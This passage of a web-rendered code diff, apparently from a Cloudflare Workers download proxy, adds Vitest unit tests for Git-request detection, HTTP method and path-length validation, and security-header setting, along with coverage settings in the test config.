const userAgent = request.headers.get("User-Agent") || "";
|
||||||
|
if (userAgent.includes("git/") || userAgent.startsWith("git/")) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for Git-specific query parameters
|
||||||
|
if (url.searchParams.has("service")) {
|
||||||
|
const service = url.searchParams.get("service");
|
||||||
|
return service === "git-upload-pack" || service === "git-receive-pack";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for Git-specific content types
|
||||||
|
const contentType = request.headers.get("Content-Type") || "";
|
||||||
|
if (
|
||||||
|
contentType.includes("git-upload-pack") ||
|
||||||
|
contentType.includes("git-receive-pack")
|
||||||
|
) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function validateRequest(request, url) {
|
||||||
|
const CONFIG = {
|
||||||
|
SECURITY: {
|
||||||
|
ALLOWED_METHODS: ["GET", "HEAD"],
|
||||||
|
MAX_PATH_LENGTH: 2048
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Allow POST method for Git operations
|
||||||
|
const allowedMethods = isGitRequest(request, url)
|
||||||
|
? ["GET", "HEAD", "POST"]
|
||||||
|
: CONFIG.SECURITY.ALLOWED_METHODS;
|
||||||
|
|
||||||
|
if (!allowedMethods.includes(request.method)) {
|
||||||
|
return { valid: false, error: "Method not allowed", status: 405 };
|
||||||
|
}
|
||||||
|
|
||||||
|
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
|
||||||
|
return { valid: false, error: "Path too long", status: 414 };
|
||||||
|
}
|
||||||
|
|
||||||
|
return { valid: true };
|
||||||
|
}
|
||||||
|
|
||||||
|
function addSecurityHeaders(headers) {
|
||||||
|
headers.set(
|
||||||
|
"Strict-Transport-Security",
|
||||||
|
"max-age=31536000; includeSubDomains; preload"
|
||||||
|
);
|
||||||
|
headers.set("X-Frame-Options", "DENY");
|
||||||
|
headers.set("X-XSS-Protection", "1; mode=block");
|
||||||
|
headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
|
||||||
|
headers.set(
|
||||||
|
"Content-Security-Policy",
|
||||||
|
"default-src 'none'; img-src 'self'; script-src 'none'"
|
||||||
|
);
|
||||||
|
headers.set("Permissions-Policy", "interest-cohort=()");
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('Utility Functions', () => {
|
||||||
|
describe('isGitRequest', () => {
|
||||||
|
it('should identify Git info/refs requests', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/info/refs');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify Git upload-pack requests', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/git-upload-pack');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify Git receive-pack requests', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/git-receive-pack');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify Git requests by User-Agent', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git', {
|
||||||
|
headers: { 'User-Agent': 'git/2.34.1' }
|
||||||
|
});
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify Git requests by service parameter', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify Git requests by content type', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/git-upload-pack', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
|
||||||
|
});
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not identify regular file requests as Git', () => {
|
||||||
|
const request = new Request('https://example.com/repo/file.txt');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle edge cases gracefully', () => {
|
||||||
|
const request = new Request('https://example.com/');
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
expect(isGitRequest(request, url)).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('validateRequest', () => {
|
||||||
|
it('should allow GET requests', () => {
|
||||||
|
const request = new Request('https://example.com/test', { method: 'GET' });
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow HEAD requests', () => {
|
||||||
|
const request = new Request('https://example.com/test', { method: 'HEAD' });
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject PUT requests for non-Git operations', () => {
|
||||||
|
const request = new Request('https://example.com/test', { method: 'PUT' });
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(false);
|
||||||
|
expect(result.status).toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow POST requests for Git operations', () => {
|
||||||
|
const request = new Request('https://example.com/repo.git/git-upload-pack', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'User-Agent': 'git/2.34.1' }
|
||||||
|
});
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject extremely long paths', () => {
|
||||||
|
const longPath = '/' + 'a'.repeat(3000);
|
||||||
|
const request = new Request(`https://example.com${longPath}`);
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(false);
|
||||||
|
expect(result.status).toBe(414);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept normal length paths', () => {
|
||||||
|
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||||
|
const request = new Request(`https://example.com${normalPath}`);
|
||||||
|
const url = new URL(request.url);
|
||||||
|
|
||||||
|
const result = validateRequest(request, url);
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('addSecurityHeaders', () => {
|
||||||
|
it('should add all required security headers', () => {
|
||||||
|
const headers = new Headers();
|
||||||
|
const result = addSecurityHeaders(headers);
|
||||||
|
|
||||||
|
expect(result.get('Strict-Transport-Security')).toBeTruthy();
|
||||||
|
expect(result.get('X-Frame-Options')).toBe('DENY');
|
||||||
|
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||||
|
expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||||
|
expect(result.get('Content-Security-Policy')).toBeTruthy();
|
||||||
|
expect(result.get('Permissions-Policy')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should set HSTS with proper directives', () => {
|
||||||
|
const headers = new Headers();
|
||||||
|
const result = addSecurityHeaders(headers);
|
||||||
|
|
||||||
|
const hsts = result.get('Strict-Transport-Security');
|
||||||
|
expect(hsts).toContain('max-age=31536000');
|
||||||
|
expect(hsts).toContain('includeSubDomains');
|
||||||
|
expect(hsts).toContain('preload');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should set CSP with restrictive policy', () => {
|
||||||
|
const headers = new Headers();
|
||||||
|
const result = addSecurityHeaders(headers);
|
||||||
|
|
||||||
|
const csp = result.get('Content-Security-Policy');
|
||||||
|
expect(csp).toContain("default-src 'none'");
|
||||||
|
expect(csp).toContain("script-src 'none'");
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not overwrite existing headers', () => {
|
||||||
|
const headers = new Headers();
|
||||||
|
headers.set('X-Custom-Header', 'custom-value');
|
||||||
|
|
||||||
|
const result = addSecurityHeaders(headers);
|
||||||
|
|
||||||
|
expect(result.get('X-Custom-Header')).toBe('custom-value');
|
||||||
|
expect(result.get('X-Frame-Options')).toBe('DENY');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return the same Headers object', () => {
|
||||||
|
const headers = new Headers();
|
||||||
|
const result = addSecurityHeaders(headers);
|
||||||
|
|
||||||
|
expect(result).toBe(headers);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('URL and Path Utilities', () => {
|
||||||
|
it('should handle URL parsing correctly', () => {
|
||||||
|
const testUrls = [
|
||||||
|
'https://example.com/gh/user/repo/file.txt',
|
||||||
|
'https://example.com/gl/group/project/-/blob/main/README.md',
|
||||||
|
'https://example.com/hf/microsoft/model/resolve/main/config.json'
|
||||||
|
];
|
||||||
|
|
||||||
|
testUrls.forEach(urlString => {
|
||||||
|
expect(() => new URL(urlString)).not.toThrow();
|
||||||
|
|
||||||
|
const url = new URL(urlString);
|
||||||
|
expect(url.protocol).toBe('https:');
|
||||||
|
expect(url.hostname).toBe('example.com');
|
||||||
|
expect(url.pathname).toBeTruthy();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle query parameters correctly', () => {
|
||||||
|
const url = new URL('https://example.com/gh/repo?ref=main&path=src');
|
||||||
|
|
||||||
|
expect(url.searchParams.get('ref')).toBe('main');
|
||||||
|
expect(url.searchParams.get('path')).toBe('src');
|
||||||
|
expect(url.searchParams.has('nonexistent')).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle URL fragments correctly', () => {
|
||||||
|
const url = new URL('https://example.com/gh/repo/README.md#section');
|
||||||
|
|
||||||
|
expect(url.hash).toBe('#section');
|
||||||
|
expect(url.pathname).toBe('/gh/repo/README.md');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Request and Response Utilities', () => {
|
||||||
|
it('should create requests with proper headers', () => {
|
||||||
|
const request = new Request('https://example.com/test', {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'Xget/1.0',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(request.method).toBe('GET');
|
||||||
|
expect(request.headers.get('User-Agent')).toBe('Xget/1.0');
|
||||||
|
expect(request.headers.get('Accept')).toBe('application/json');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle request cloning', () => {
|
||||||
|
const originalRequest = new Request('https://example.com/test', {
|
||||||
|
method: 'POST',
|
||||||
|
body: 'test data',
|
||||||
|
headers: { 'Content-Type': 'text/plain' }
|
||||||
|
});
|
||||||
|
|
||||||
|
const clonedRequest = originalRequest.clone();
|
||||||
|
|
||||||
|
expect(clonedRequest.method).toBe(originalRequest.method);
|
||||||
|
expect(clonedRequest.url).toBe(originalRequest.url);
|
||||||
|
expect(clonedRequest.headers.get('Content-Type')).toBe('text/plain');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should create responses with proper status codes', () => {
|
||||||
|
const responses = [
|
||||||
|
new Response('OK', { status: 200 }),
|
||||||
|
new Response('Not Found', { status: 404 }),
|
||||||
|
new Response('Server Error', { status: 500 })
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(responses[0].status).toBe(200);
|
||||||
|
expect(responses[1].status).toBe(404);
|
||||||
|
expect(responses[2].status).toBe(500);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Error Handling Utilities', () => {
|
||||||
|
it('should create proper error responses', () => {
|
||||||
|
const errorResponse = new Response('Bad Request', {
|
||||||
|
status: 400,
|
||||||
|
statusText: 'Bad Request',
|
||||||
|
headers: { 'Content-Type': 'text/plain' }
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(errorResponse.status).toBe(400);
|
||||||
|
expect(errorResponse.statusText).toBe('Bad Request');
|
||||||
|
expect(errorResponse.headers.get('Content-Type')).toBe('text/plain');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle async error scenarios', async () => {
|
||||||
|
const asyncFunction = async () => {
|
||||||
|
throw new Error('Test error');
|
||||||
|
};
|
||||||
|
|
||||||
|
await expect(asyncFunction()).rejects.toThrow('Test error');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -7,5 +7,32 @@ export default defineWorkersConfig({
|
|||||||
wrangler: { configPath: './wrangler.toml' },
|
wrangler: { configPath: './wrangler.toml' },
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
coverage: {
|
||||||
|
provider: 'v8',
|
||||||
|
reporter: ['text', 'json', 'html', 'lcov'],
|
||||||
|
reportsDirectory: './coverage',
|
||||||
|
exclude: [
|
||||||
|
'node_modules/**',
|
||||||
|
'test/**',
|
||||||
|
'coverage/**',
|
||||||
|
'dist/**',
|
||||||
|
'*.config.js',
|
||||||
|
'*.config.ts'
|
||||||
|
],
|
||||||
|
include: [
|
||||||
|
'src/**/*.js',
|
||||||
|
'src/**/*.ts'
|
||||||
|
],
|
||||||
|
thresholds: {
|
||||||
|
global: {
|
||||||
|
branches: 80,
|
||||||
|
functions: 80,
|
||||||
|
lines: 80,
|
||||||
|
statements: 80
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
globals: true,
|
||||||
|
environment: 'node'
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
Reference in new issue
Block a user